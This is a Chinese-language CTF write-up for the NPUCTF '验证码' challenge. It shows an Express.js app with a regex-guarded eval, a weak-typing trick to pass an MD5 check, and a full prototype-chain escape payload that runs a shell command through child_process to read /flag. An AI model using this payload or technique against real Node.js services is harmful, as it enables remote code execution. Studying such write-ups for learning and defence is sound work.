NPUCTF 验证🐎 (JS弱类型+原型链)

Posted on 2020-04-22,6 min read

题目给出了源码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

第31行。app.use(bodyParser.json())将请求用json解析
继续看。程序接受三个参数。e,first,second

first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
看到这种代码。一般就是弱类型。奈何对js不够熟悉。
这里可以用first=1 second=[1]
服务端得到的数据是first=1  second=[1]
至于MD5
在进行比较时
md5("1"+key[0])
md5([1]+key[0])
会先把数组的1强制转换为字符串。也就是"1"
所以md5会相同

下一关。把e放入正则中。然后带入eval执行
对格式有要求

/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g
这个正则意思是。只能是Math.xxxxx。符号只能出现()+\-*&|%^<>=,?:

由于允许()=>这些字符。那么我们可以利用JS的箭头函数。来执行。

首先来介绍下箭头函数。其实就是匿名函数
x => x * x
function (x){
    return x*x;
}

对照着Payload一步步分析

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()))(Math+1)


最外层的payload如下
(Math=>(xxxxx)())(Math+1)
最外面的小括号。是JS的立即执行函数。否则你就只是单单定义了这个函数。
开头的Math是箭头函数。需要接受的参数。类似于function(Math)
然后最后括号的Math+1。就是你传入的参数
接下来进入Math箭头函数的内部。也就是这个函数会执行什么

(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))())
可以看到。这里定义了Math。把传入的Math的constructor赋值
具体是什么意思呢。这里是利用了JS的原型链。一开始Math并没有定义。如果我们直接传入Match。那么会是object。而payload中传入的是Math+1。此时类型就变成了object1。object对象和字符串进行拼接。那么会转换为string类型
为了清楚。我们重写下代码
test=Math.constructor
返回string类型的原型。string
test2=test.constructor
返回string原型的原型。function
也就是通过一个object1从原型链上获取了string和function两种类型
fromCharCode函数必须是在string类型上用。
Math=Math.constructor
#定义了string类型
Math=Math.construtor
#定义了function类型
Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()
等同于
function(string.fromCharCode(xxxxxxxxx)()

完整exp

{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":"1","second":[1]}

下一篇: PyCalX 1&2→